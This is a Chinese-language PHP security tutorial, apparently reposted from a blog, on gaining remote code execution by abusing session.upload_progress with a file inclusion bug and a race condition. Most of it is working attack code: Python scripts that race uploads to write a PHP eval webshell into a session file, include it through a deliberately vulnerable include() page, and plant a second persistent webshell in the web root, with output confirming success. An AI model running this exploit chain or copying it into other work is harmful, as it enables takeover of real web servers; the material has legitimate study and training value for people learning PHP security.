【文件包含&條件競爭】詳解如何利用session.upload_progress文件包含進行RCE


什么是session.upload_progress?

open_basedirallow_url_fopenallow_url_include等PHP配置一樣,session.upload_progress也是PHP的一個功能,同樣可以在php.ini中設置相關屬性。其中最重要的幾個設置如下:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • session.upload_progress.enabled可以控制是否開啟session.upload_progress功能

  • session.upload_progress.cleanup可以控制是否在上傳之后刪除文件內容

  • session.upload_progress.prefix可以設置上傳文件內容的前綴

  • session.upload_progress.name的值即為session中的鍵值

session.upload_progress開啟之后會有什么效果?

當我們將session.upload_progress.enabled的值設置為on時,此時我們再往服務器中上傳一個文件時,PHP會把該文件的詳細信息(如上傳時間、上傳進度等)存儲在session當中。

問題1:

那么這個時候就會有一個前提條件,就是如何初始化session並且把session中的內容寫到文件中去呢?

分析1:

我們可以注意到,php.ini中session.use_strict_mode選項默認是0,在這個情況下,用戶可以自己定義自己的sessionid,例如當用戶在cookie中設置sessionid=Lxxx時,PHP就會生成一個文件/tmp/sess_Lxxx,此時也就初始化了session,並且會將上傳的文件信息寫入到文件/tmp/sess_Lxxx中去,具體文件的內容是什么,后面會寫到。

問題2:

當session.upload_progress.cleanup的值為on時,即使上傳文件,但是上傳完成之后文件內容會被清空,這怎么辦?

分析2:

利用Python的多線程,進行條件競爭

如何利用session.upload_progress進行RCE?

然而,理論再多也沒用,還是得一步步調試,看看在文件上傳的時候,整一個PHP服務端到底發生了什么。所以還是需要做實驗。

首先,在網站根目錄下隨便新建一個test.php文件

然后寫一個Python程序用於往服務器上上傳文件:

這里有幾個注意點:

  • 上傳的文件大小為50KB,文件名為Lxxx.jpg

  • 該程序設置的sessionid為Lxxx,也就是說會在/tmp目錄下生成sess_Lxxx文件

  • 該程序設置的PHP_SESSION_UPLOAD_PROGRESS值為一句話木馬,也就是說,在理論上,一句話木馬會被寫入到/tmp/sess_Lxxx

import requests
import io
url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
   filebytes = io.BytesIO(b'a' * 1024 * 50)
   while True:
       res = session.post(url,
           data={
               'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
              },
           cookies={
               'PHPSESSID': sessid
              },
           files={
               'file': ('Lxxx.jpg', filebytes)
              }
          )

if __name__ == "__main__":
   with requests.session() as session:
       write(session)

執行程序后,我們需要用tail -f命令實時查看/tmp/sess_Lxxx文件,因為在本地測試速度比較快,如果使用cat命令,文件內容還沒輸出就被刪除了。

tail -f /tmp/sess_Lxxx

結果如下:

 

也就是說,/tmp/sess_Lxxx文件中的內容為:

upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

仔細分析一下該文件內容,該文件分為兩塊,以豎線|區分。

第一塊內容如下:

upload_progress_<?php eval($_POST[1]);?>

這一塊內容由以下兩個值組成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS

第二塊內容如下:

a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

一看就是序列化之后的值,我們將其進行反序列化后輸出:

array(5) {
["start_time"]=>
 int(1631343214)
["content_length"]=>
 int(276)
["bytes_processed"]=>
 int(276)
["done"]=>
 bool(false)
["files"]=>
 array(1) {
  [0]=>
   array(7) {
    ["field_name"]=>
     string(4) "file"
    ["name"]=>
     string(8) "Lxxx.jpg"
    ["tmp_name"]=>
     NULL
    ["error"]=>
     int(0)
    ["done"]=>
     bool(false)
    ["start_time"]=>
     int(1631343214)
    ["bytes_processed"]=>
     int(276)
  }
}
}

可以看到這里記錄了文件上傳時間、文件大小、文件名稱等等文件屬性。

接下來在網站根目錄新建一個test.php文件,文件內容如下:

<?php
$a = $_GET["a"];
include($a);

很明顯有一個文件包含的漏洞。

接下來我們利用session.upload_progress進行條件競爭

以下代碼有幾個注意點:

  • 首先,函數write和上面的是一樣的,這里就不做過多的贅述了

  • 整個代碼的思路就是,往/tmp/sess_Lxxx文件中寫入一句話木馬,密碼為1,然后用題目中的文件包含漏洞,包含這一個文件,在函數read中嘗試利用/tmp/sess_Lxxx的一句話往網站根目錄文件1.php寫一句話木馬,密碼為2

  • 利用Python的多線程,一邊上傳文件,一邊嘗試往根目錄中寫入1.php,如果成功寫入了,就打印輸出“成功寫入一句話”

  • 這里利用Python的threading模塊,開5個線程進行條件競爭

代碼如下:

import requests
import io
import threading

url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)

def read(session):
while True:
res = session.post(url+"?a=/tmp/sess_"+sessid,
data={
"1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
},
cookies={
"PHPSESSID":sessid
}
)
res2 = session.get("http://192.168.2.128/1.php")
if res2.status_code == 200:
print("成功寫入一句話!")
else:
print("Retry")



if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()

代碼執行結果如下:

 

一開始會一直顯示Retry,但是只要運行一段時間就會成功寫入一句話。

image.png

可以在網站根目錄看到,成功寫入一句話。

參考資料

 

 

 

 

點擊鏈接進行實驗:php競爭條件漏洞


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM